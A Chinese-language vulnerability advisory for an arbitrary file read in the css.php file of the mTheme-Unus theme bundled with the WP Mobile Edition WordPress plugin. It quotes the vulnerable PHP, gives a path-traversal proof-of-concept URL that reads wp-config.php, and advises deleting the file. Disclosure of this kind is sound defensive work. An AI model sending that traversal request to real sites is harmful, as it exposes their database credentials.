<!-- wp-mobile-edition-pn-cssphp-arbitrary-flie-dl.md -->
## 影响:
- WP Mobile Edition版本低于2.2.7有该漏洞。
- 首次启用WP Mobile Edition 插件之后,即使停用或删除该插件,漏洞也会一直存在。
- 即使升级插件,若已经启用过漏洞存在的版本,漏洞也同样存在。
- css.php用于压缩css文件,并不只存在于该插件之中,而是 https://github.com/mrclay/ 的开源代码,使用该文件的网站也存在该漏洞。
## 详情
插件下载地址:https://downloads.wordpress.org/plugin/wp-mobile-edition.2.2.7.zip
首次启用该插件,插件会自动安装一个theme:mTheme-Unus。该theme下css/css.php文件存在任意文件可读漏洞。
漏洞代码:
```
foreach ($files as $file)
{
$content .= file_get_contents($file);
}
// Remove comments
$content = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $content);
// Remove tabs, spaces, newlines, etc...
$content = str_replace(array("\r", "\n", "\t", ' ', ' '), '', $content);
// Delete cache files older than an hour
$oldDate = time()-3600;
$cachedFiles = scandir($cachePath);
foreach ($cachedFiles as $file)
{
$filemtime = @filemtime($cachePath.$file);
if (strlen($file) == 32 and ($filemtime === false or $filemtime < $oldDate))
{
unlink($cachePath.$file);
}
}
// Write cache file
file_put_contents($cachePath.$md5, $content);
// Output
echo $content;
```

file_get_contents()读取$file路径的内容之后,echo输出,导致漏洞。
删除,更新,停用该插件,并不会影响到漏洞存在的文件。
## 漏洞证明:
更新至:2.8版本

访问:website/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

漏洞依旧存在。
## 漏洞修复建议:
删除wp-content/themes/mTheme-Unus/css/css.php文件。
写了poc没有提交的地方。
评论 (1)
登录 后才能发表评论